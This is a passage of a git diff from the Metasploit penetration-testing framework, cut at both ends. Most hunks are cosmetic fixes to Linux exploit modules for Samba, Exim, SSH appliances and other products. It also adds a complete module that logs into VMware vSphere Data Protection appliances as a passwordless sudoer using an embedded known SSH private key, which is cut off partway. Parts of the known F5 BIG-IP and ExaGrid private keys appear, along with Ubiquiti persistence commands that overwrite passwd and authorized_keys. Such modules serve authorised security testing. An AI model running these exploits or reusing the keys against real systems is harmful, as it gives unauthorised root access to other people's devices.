+    fail_with Failure::Unreachable, 'Failed to connect to the transcode server'
+  ensure
+    disconnect
+  end
+
+  def exploit
+    vprint_status 'Connecting to transcode server...'
+    execute_cmdstager linemax: 400
+  end
+end
diff --git a/modules/exploits/linux/misc/quest_pmmasterd_bof.rb b/modules/exploits/linux/misc/quest_pmmasterd_bof.rb
index 984a46756d..8af82adf99 100644
--- a/modules/exploits/linux/misc/quest_pmmasterd_bof.rb
+++ b/modules/exploits/linux/misc/quest_pmmasterd_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -39,8 +39,8 @@ class MetasploitModule < Msf::Exploit::Remote
         {
           'Compat'      =>
             {
-              'PayloadType' => 'cmd',
-              'RequiredCmd' => 'generic python perl ruby openssl bash-tcp'
+              'PayloadType' => 'cmd_interact',
+              'ConnectionType' => 'find'
             }
         },
       'Arch'           => ARCH_CMD,
@@ -97,8 +97,7 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Sending trigger")
     sock.put(request)
     sock.get_once
-    print_status("Sending payload")
-    sock.put(payload.encoded)
+    handler(sock)
     disconnect
   end
 
diff --git a/modules/exploits/linux/misc/sercomm_exec.rb b/modules/exploits/linux/misc/sercomm_exec.rb
index cb26ce95f0..f0759c94b9 100644
--- a/modules/exploits/linux/misc/sercomm_exec.rb
+++ b/modules/exploits/linux/misc/sercomm_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -208,5 +208,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     Rex.sleep(1)
   end
-
 end
diff --git a/modules/exploits/linux/misc/zabbix_server_exec.rb b/modules/exploits/linux/misc/zabbix_server_exec.rb
index 72b647cdce..4e87ba4844 100644
--- a/modules/exploits/linux/misc/zabbix_server_exec.rb
+++ b/modules/exploits/linux/misc/zabbix_server_exec.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
@@ -140,5 +138,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/linux/mysql/mysql_yassl_getname.rb b/modules/exploits/linux/mysql/mysql_yassl_getname.rb
index a8bb0dcbf3..c0e8f846e0 100644
--- a/modules/exploits/linux/mysql/mysql_yassl_getname.rb
+++ b/modules/exploits/linux/mysql/mysql_yassl_getname.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -182,5 +182,4 @@ class MetasploitModule < Msf::Exploit::Remote
     tre = len & 0xff
     [uno,dos,tre].pack('C*')
   end
-
 end
diff --git a/modules/exploits/linux/mysql/mysql_yassl_hello.rb b/modules/exploits/linux/mysql/mysql_yassl_hello.rb
index 9234bdcbd8..dd31ddca72 100644
--- a/modules/exploits/linux/mysql/mysql_yassl_hello.rb
+++ b/modules/exploits/linux/mysql/mysql_yassl_hello.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -69,5 +69,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/linux/pop3/cyrus_pop3d_popsubfolders.rb b/modules/exploits/linux/pop3/cyrus_pop3d_popsubfolders.rb
index 92773bce59..556e63a670 100644
--- a/modules/exploits/linux/pop3/cyrus_pop3d_popsubfolders.rb
+++ b/modules/exploits/linux/pop3/cyrus_pop3d_popsubfolders.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'Cyrus IMAPD pop3d popsubfolders USER Buffer Overflow',
       'Description'    => %q{
           This exploit takes advantage of a stack based overflow.  Once the stack
-        corruption has occured it is possible to overwrite a pointer which is
+        corruption has occurred it is possible to overwrite a pointer which is
         later used for a memcpy. This gives us a write anything anywhere condition
         similar to a format string vulnerability.
 
@@ -87,5 +87,4 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect
 
   end
-
 end
diff --git a/modules/exploits/linux/postgres/postgres_payload.rb b/modules/exploits/linux/postgres/postgres_payload.rb
index 7c6c61416d..01a79802b4 100644
--- a/modules/exploits/linux/postgres/postgres_payload.rb
+++ b/modules/exploits/linux/postgres/postgres_payload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -18,7 +18,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
         On some default Linux installations of PostgreSQL, the
         postgres service account may write to the /tmp directory, and
-        may source UDF Shared Libraries's from there as well, allowing
+        may source UDF Shared Libraries from there as well, allowing
         execution of arbitrary code.
 
         This module compiles a Linux shared object file, uploads it to
@@ -72,8 +72,8 @@ class MetasploitModule < Msf::Exploit::Remote
   def exploit
     version = do_login(username,password,database)
     case version
-    when :noauth; print_error "Authentication failed."; return
-    when :noconn; print_error "Connection failed."; return
+    when :noauth; print_error "Authentication failed"; return
+    when :noconn; print_error "Connection failed"; return
     else
       print_status("#{rhost}:#{rport} - #{version}")
     end
@@ -121,7 +121,7 @@ class MetasploitModule < Msf::Exploit::Remote
         )
         return result[:auth]
       else
-        print_status("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
+        print_error("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
         return :noauth
       end
     rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
diff --git a/modules/exploits/linux/pptp/poptop_negative_read.rb b/modules/exploits/linux/pptp/poptop_negative_read.rb
index da74b784c4..05e597caeb 100644
--- a/modules/exploits/linux/pptp/poptop_negative_read.rb
+++ b/modules/exploits/linux/pptp/poptop_negative_read.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -121,5 +121,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb b/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb
index 86058b4b5c..750cb3b661 100644
--- a/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb
+++ b/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GreatRanking
 
@@ -129,5 +127,4 @@ class MetasploitModule < Msf::Exploit::Remote
       "\r\n"
     sock.put(req)
   end
-
 end
diff --git a/modules/exploits/linux/samba/chain_reply.rb b/modules/exploits/linux/samba/chain_reply.rb
index 680dd16f14..e6cd0eab72 100644
--- a/modules/exploits/linux/samba/chain_reply.rb
+++ b/modules/exploits/linux/samba/chain_reply.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -208,5 +208,4 @@ class MetasploitModule < Msf::Exploit::Remote
         break if session_created?
       }
   end
-
 end
diff --git a/modules/exploits/linux/samba/is_known_pipename.rb b/modules/exploits/linux/samba/is_known_pipename.rb
index a490b277a9..a5138d39ee 100644
--- a/modules/exploits/linux/samba/is_known_pipename.rb
+++ b/modules/exploits/linux/samba/is_known_pipename.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -468,5 +468,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_good("Samba version #{samba_version.to_s} found with writeable share '#{@share}'")
     return CheckCode::Appears
   end
-
 end
diff --git a/modules/exploits/linux/samba/lsa_transnames_heap.rb b/modules/exploits/linux/samba/lsa_transnames_heap.rb
index 40783a66ce..eaf9a7d747 100644
--- a/modules/exploits/linux/samba/lsa_transnames_heap.rb
+++ b/modules/exploits/linux/samba/lsa_transnames_heap.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GoodRanking
 
@@ -19,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
         This module triggers a heap overflow in the LSA RPC service
       of the Samba daemon. This module uses the TALLOC chunk overwrite
       method (credit Ramon and Adriano), which only works with Samba
-      versions 3.0.21-3.0.24. Additonally, this module will not work
+      versions 3.0.21-3.0.24. Additionally, this module will not work
       when the Samba "log level" parameter is higher than "2".
       },
       'Author'         =>
@@ -343,5 +341,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     dcerpc.last_response.stub_data[0,20]
   end
-
 end
diff --git a/modules/exploits/linux/samba/setinfopolicy_heap.rb b/modules/exploits/linux/samba/setinfopolicy_heap.rb
index 8410129f63..6117ece1a2 100644
--- a/modules/exploits/linux/samba/setinfopolicy_heap.rb
+++ b/modules/exploits/linux/samba/setinfopolicy_heap.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = NormalRanking
 
@@ -386,6 +384,5 @@ class MetasploitModule < Msf::Exploit::Remote
     dcerpc.socket.write(data)
     data.length
   end
-
 end
 
diff --git a/modules/exploits/linux/samba/trans2open.rb b/modules/exploits/linux/samba/trans2open.rb
index 2d9a7cd69e..e98fa9d9ea 100644
--- a/modules/exploits/linux/samba/trans2open.rb
+++ b/modules/exploits/linux/samba/trans2open.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -150,5 +150,4 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect
 
   end
-
 end
diff --git a/modules/exploits/linux/smtp/exim4_dovecot_exec.rb b/modules/exploits/linux/smtp/exim4_dovecot_exec.rb
index 9b512bfb34..e08819eba0 100644
--- a/modules/exploits/linux/smtp/exim4_dovecot_exec.rb
+++ b/modules/exploits/linux/smtp/exim4_dovecot_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'Exim and Dovecot Insecure Configuration Command Injection',
       'Description'    => %q{
         This module exploits a command injection vulnerability against Dovecot with
-        Exim using the "use_shell" option. It uses the sender's address to inject arbitary
+        Exim using the "use_shell" option. It uses the sender's address to inject arbitrary
         commands, since this is one of the user-controlled variables. It has been
         successfully tested on Debian Squeeze using the default Exim4 with the dovecot-common
         packages.
@@ -215,5 +215,4 @@ class MetasploitModule < Msf::Exploit::Remote
     register_file_for_cleanup("/tmp/#{filename}")
 
   end
-
 end
diff --git a/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb b/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb
index 59a117e4f5..1e9fb41dd3 100644
--- a/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb
+++ b/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -107,7 +107,7 @@ class MetasploitModule < Msf::Exploit::Remote
   def exploit
     unless datastore['FORCE_EXPLOIT']
       print_status("Checking if target is vulnerable...")
-      fail_with(Failure::NotVulnerable, "Vulnerability check failed.") if check != Exploit::CheckCode::Vulnerable
+      fail_with(Failure::NotVulnerable, "Vulnerability check failed") if check != Exploit::CheckCode::Vulnerable
       print_good("Target is vulnerable.")
     end
     information_leak
diff --git a/modules/exploits/linux/smtp/haraka.py b/modules/exploits/linux/smtp/haraka.py
index 28e87ea278..7033d90ef2 100755
--- a/modules/exploits/linux/smtp/haraka.py
+++ b/modules/exploits/linux/smtp/haraka.py
@@ -30,6 +30,7 @@ metadata = {
     'authors': ['xychix <xychix[AT]hotmail.com>', 'smfreegard', 'Adam Cammack <adam_cammack[AT]rapid7.com>'],
     'date': '2017-01-26',
     'references': [
+        {'type': 'aka', 'ref': 'Harakiri'},
         {'type': 'cve', 'ref': '2016-1000282'},
         {'type': 'edb', 'ref': '41162'},
         {'type': 'url', 'ref': 'https://github.com/haraka/Haraka/pull/1606'},
diff --git a/modules/exploits/linux/ssh/ceragon_fibeair_known_privkey.rb b/modules/exploits/linux/ssh/ceragon_fibeair_known_privkey.rb
index b0cd93efb6..b4f9e873e8 100644
--- a/modules/exploits/linux/ssh/ceragon_fibeair_known_privkey.rb
+++ b/modules/exploits/linux/ssh/ceragon_fibeair_known_privkey.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/ssh/exagrid_known_privkey.rb b/modules/exploits/linux/ssh/exagrid_known_privkey.rb
index 5a0be58a6f..f2304c91a6 100644
--- a/modules/exploits/linux/ssh/exagrid_known_privkey.rb
+++ b/modules/exploits/linux/ssh/exagrid_known_privkey.rb
@@ -1,11 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'net/ssh'
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
@@ -191,5 +190,4 @@ x6f/85mMeTqamSxjTJqALHeKPYWyzeSnUrp+Eg==
 -----END RSA PRIVATE KEY-----
 EOF
   end
-
 end
diff --git a/modules/exploits/linux/ssh/f5_bigip_known_privkey.rb b/modules/exploits/linux/ssh/f5_bigip_known_privkey.rb
index 8b0d8f5194..0cf2138f9e 100644
--- a/modules/exploits/linux/ssh/f5_bigip_known_privkey.rb
+++ b/modules/exploits/linux/ssh/f5_bigip_known_privkey.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -11,38 +11,41 @@ class MetasploitModule < Msf::Exploit::Remote
   include Msf::Auxiliary::Report
 
   def initialize(info = {})
-    super(update_info(info, {
-      'Name'        => 'F5 BIG-IP SSH Private Key Exposure',
-      'Description' => %q{
-        F5 ships a public/private key pair on BIG-IP appliances that allows
-        passwordless authentication to any other BIG-IP box. Since the key is
-        easily retrievable, an attacker can use it to gain unauthorized remote
-        access as root.
-      },
-      'Platform'    => 'unix',
-      'Arch'        => ARCH_CMD,
-      'Privileged'  => true,
-      'Targets'     => [ [ "Universal", {} ] ],
-      'Payload'     =>
-        {
-          'Compat'  => {
-            'PayloadType'    => 'cmd_interact',
-            'ConnectionType' => 'find',
+    super(
+      update_info(
+        info,
+        'Name'        => 'F5 BIG-IP SSH Private Key Exposure',
+        'Description' => %q(
+          F5 ships a public/private key pair on BIG-IP appliances that allows
+          passwordless authentication to any other BIG-IP box. Since the key is
+          easily retrievable, an attacker can use it to gain unauthorized remote
+          access as root.
+        ),
+        'Platform'    => 'unix',
+        'Arch'        => ARCH_CMD,
+        'Privileged'  => true,
+        'Targets'     => [ [ "Universal", {} ] ],
+        'Payload'     =>
+          {
+            'Compat' => {
+              'PayloadType'    => 'cmd_interact',
+              'ConnectionType' => 'find'
+            }
           },
-        },
-      'Author'      => ['egypt'],
-      'License'     => MSF_LICENSE,
-      'References'  =>
-        [
-          [ 'URL', 'https://www.trustmatta.com/advisories/MATTA-2012-002.txt' ],
-          [ 'CVE', '2012-1493' ],
-          [ 'OSVDB', '82780' ],
-          [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/06/25/press-f5-for-root-shell' ]
-        ],
-      'DisclosureDate' => "Jun 11 2012",
-      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
-      'DefaultTarget' => 0
-    }))
+        'Author'      => ['egypt'],
+        'License'     => MSF_LICENSE,
+        'References'  =>
+          [
+            [ 'URL', 'https://www.trustmatta.com/advisories/MATTA-2012-002.txt' ],
+            [ 'CVE', '2012-1493' ],
+            [ 'OSVDB', '82780' ],
+            [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/06/25/press-f5-for-root-shell' ]
+          ],
+        'DisclosureDate' => "Jun 11 2012",
+        'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
+        'DefaultTarget' => 0
+      )
+    )
 
     register_options(
       [
@@ -58,19 +61,20 @@ class MetasploitModule < Msf::Exploit::Remote
         OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
       ]
     )
-
   end
 
   # helper methods that normally come from Tcp
   def rhost
     datastore['RHOST']
   end
+
   def rport
     datastore['RPORT']
   end
 
   def do_login(user)
-    factory = Rex::Socket::SSHFactory.new(framework,self, datastore['Proxies'])
+    factory = Rex::Socket::SSHFactory.new(framework, self, datastore['Proxies'])
+
     opt_hash = {
       auth_methods:    ['publickey'],
       port:            rport,
@@ -80,7 +84,8 @@ class MetasploitModule < Msf::Exploit::Remote
       proxy:           factory,
       non_interactive: true
     }
-    opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
+    opt_hash[:verbose] = :debug if datastore['SSH_DEBUG']
+
     begin
       ssh_socket = nil
       ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
@@ -101,16 +106,12 @@ class MetasploitModule < Msf::Exploit::Remote
       return
     end
 
-    if ssh_socket
+    return false unless ssh_socket
 
-      # Create a new session from the socket, then dump it.
-      conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true)
-      ssh_socket = nil
-
-      return conn
-    else
-      return false
-    end
+    # Create a new session from the socket, then dump it.
+    conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true)
+    ssh_socket = nil
+    conn
   end
 
   def exploit
@@ -139,7 +140,5 @@ Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G
 LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS
 -----END RSA PRIVATE KEY-----
 EOF
-    end
+  end
 end
-
-
diff --git a/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb b/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb
index 34284c4dfb..bff7067f67 100644
--- a/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb
+++ b/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -136,7 +136,6 @@ SzmJVCWFyVuuANR2Bnc=
 -----END DSA PRIVATE KEY-----
 EOF
   end
-
 end
 
 
diff --git a/modules/exploits/linux/ssh/mercurial_ssh_exec.rb b/modules/exploits/linux/ssh/mercurial_ssh_exec.rb
index 909757b724..3a8771c97c 100644
--- a/modules/exploits/linux/ssh/mercurial_ssh_exec.rb
+++ b/modules/exploits/linux/ssh/mercurial_ssh_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -115,7 +115,7 @@ class MetasploitModule < Msf::Exploit::Remote
               print_good("Triggered Debugger (#{data})")
               ch.send_data "#{payload.encoded}\n"
             else
-              print_bad("Unable to trigger debugger (#{data})")
+              print_error("Unable to trigger debugger (#{data})")
             end
           end
         end
diff --git a/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb b/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb
index f6443632d0..3c4ef23169 100644
--- a/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb
+++ b/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb b/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb
index 24331c8f80..48714417a1 100644
--- a/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb
+++ b/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -129,7 +129,7 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("#{rhost}:#{rport} - Attempt to login...")
     conn = do_login(user, pass)
     if conn
-      print_good("#{rhost}:#{rport} - Login Successful with '#{user}:#{pass}'")
+      print_good("#{rhost}:#{rport} - Login Successful ('#{user}:#{pass})")
       handler(conn.lsock)
     end
   end
diff --git a/modules/exploits/linux/ssh/solarwinds_lem_exec.rb b/modules/exploits/linux/ssh/solarwinds_lem_exec.rb
index d7fdcde644..ad3d313285 100644
--- a/modules/exploits/linux/ssh/solarwinds_lem_exec.rb
+++ b/modules/exploits/linux/ssh/solarwinds_lem_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -164,5 +164,4 @@ class MetasploitModule < Msf::Exploit::Remote
       end
     end
   end
-
 end
diff --git a/modules/exploits/linux/ssh/symantec_smg_ssh.rb b/modules/exploits/linux/ssh/symantec_smg_ssh.rb
index a7e935e3e7..6f812d10fb 100644
--- a/modules/exploits/linux/ssh/symantec_smg_ssh.rb
+++ b/modules/exploits/linux/ssh/symantec_smg_ssh.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -133,7 +133,7 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("#{rhost}:#{rport} - Attempt to login...")
     conn = do_login(user, pass)
     if conn
-      print_good("#{rhost}:#{rport} - Login Successful with '#{user}:#{pass}'")
+      print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})")
       handler(conn.lsock)
     end
   end
diff --git a/modules/exploits/linux/ssh/ubiquiti_airos_file_upload.rb b/modules/exploits/linux/ssh/ubiquiti_airos_file_upload.rb
index 53faeb8daa..84d547712a 100644
--- a/modules/exploits/linux/ssh/ubiquiti_airos_file_upload.rb
+++ b/modules/exploits/linux/ssh/ubiquiti_airos_file_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -148,11 +148,10 @@ class MetasploitModule < Msf::Exploit::Remote
         refs: self.references,
         info: ssh.transport.server_version.version
       )
-      report_note(
-        host: rhost,
-        port: datastore['SSH_PORT'],
-        type: 'airos.ssh.key',
-        data: private_key
+      store_valid_credential(
+        user:         username,
+        private:      private_key,
+        private_type: :ssh_key
       )
       return Net::SSH::CommandStream.new(ssh, '/bin/sh', true)
     end
@@ -160,6 +159,14 @@ class MetasploitModule < Msf::Exploit::Remote
     nil
   end
 
+  # This is for store_valid_credential above
+  def service_details
+    super.merge(
+      port:         datastore['SSH_PORT'],
+      service_name: 'ssh'
+    )
+  end
+
   #
   # Persistence and cleanup methods
   #
@@ -242,5 +249,4 @@ cp /etc/persistent/#{username}/passwd /etc/passwd
 cp /etc/persistent/#{username}/authorized_keys /etc/dropbear/authorized_keys
 EOF
   end
-
 end
diff --git a/modules/exploits/linux/ssh/vmware_vdp_known_privkey.rb b/modules/exploits/linux/ssh/vmware_vdp_known_privkey.rb
new file mode 100644
index 0000000000..a914837815
--- /dev/null
+++ b/modules/exploits/linux/ssh/vmware_vdp_known_privkey.rb
@@ -0,0 +1,165 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'net/ssh'
+require 'net/ssh/command_stream'
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Auxiliary::Report
+  include Msf::Auxiliary::CommandShell
+  include Msf::Exploit::Remote::SSH
+
+  def initialize(info = {})
+    super(update_info(info, {
+      'Name'        => 'VMware VDP Known SSH Key',
+      'Description' => %q{
+        VMware vSphere Data Protection appliances 5.5.x through 6.1.x contain a known ssh private key for the local user admin who is a sudoer without password.
+      },
+      'Platform'    => 'unix',
+      'Arch'        => ARCH_CMD,
+      'Privileged'  => true,
+      'Targets'     => [ [ "Universal", {} ] ],
+      'Payload'     =>
+        {
+          'Compat'  => {
+            'PayloadType'    => 'cmd_interact',
+            'ConnectionType' => 'find',
+          },
+        },
+      'Author'      => ['phroxvs'],
+      'License'     => MSF_LICENSE,
+      'References'  =>
+        [
+          [ 'CVE', '2016-7456' ],
+          [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2016-0024.html' ],
+        ],
+      'DisclosureDate' => "Dec 20 2016",
+      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
+      'DefaultTarget' => 0
+    }))
+
+    register_options(
+      [
+        # Since we don't include Tcp, we have to register this manually
+        Opt::RHOST(),
+        Opt::RPORT(22)
+      ], self.class
+    )
+
+    register_advanced_options(
+      [
+        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
+        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
+      ]
+    )
+
+  end
+
+  # helper methods that normally come from Tcp
+  def rhost
+    datastore['RHOST']
+  end
+  def rport
+    datastore['RPORT']
+  end
+
+  def do_login()
+    factory = Rex::Socket::SSHFactory.new(framework,self, datastore['Proxies'])
+    opt_hash = {
+      auth_methods:    ['publickey'],
+      port:            rport,
+      key_data:        [ key_data ],
+      use_agent:       false,
+      config:          false,
+      proxy:           factory,
+      non_interactive: true
+    }
+    opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
+    begin
+      ssh_socket = nil
+      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
+        ssh_socket = Net::SSH.start(rhost, 'admin', opt_hash)
+      end
+    rescue Rex::ConnectionError
+      return
+    rescue Net::SSH::Disconnect, ::EOFError
+      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
+      return
+    rescue ::Timeout::Error
+      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
+      return
+    rescue Net::SSH::AuthenticationFailed
+      print_error "#{rhost}:#{rport} SSH - Failed authentication"
+    rescue Net::SSH::Exception => e
+      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
+      return
+    end
+
+    if ssh_socket
+
+      # Create a new session from the socket, then dump it.
+      conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true)
+      self.sockets.delete(ssh_socket.transport.socket)
+
+      return conn
+    else
+      return false
+    end
+  end
+
+  def exploit
+    conn = do_login()
+    if conn
+      print_good "Successful login"
+        service_data = {
+        address: rhost,
+        port: rport,
+        protocol: 'tcp',
+        service_name: 'ssh',
+        workspace_id: myworkspace_id,
+      }
+      credential_data = {
+        username: 'admin',
+        private_type: :ssh_key,
+        private_data: key_data,
+        origin_type: :service,
+        module_fullname: fullname,
+      }.merge(service_data)
+
+      core = create_credential(credential_data)
+      login_data = {
+        core: core,
+        last_attempted: Time.now,
+      }.merge(service_data)
+
+      create_credential_login(login_data)
+      handler(conn.lsock)
+    end
+  end
+
+  def key_data
+    <<EOF
+-----BEGIN RSA PRIVATE KEY-----
+MIICWQIBAAKBgQCx/XgSpdlvoy1fABui75RYQFTRGPdkHBolTNIAeA91aPfnAr2X
+/PuZR/DiHMCYcn6/8A5Jn75YOD3OL0mumJJR1uQ4pyhY+MSptiMYxhvDLIiRRo16
+9jewWCSH/7jqWH8NhImpVxt5SjWtKhQInTdPkG1dCj8oSn87bt8fKvLcVQIBIwKB
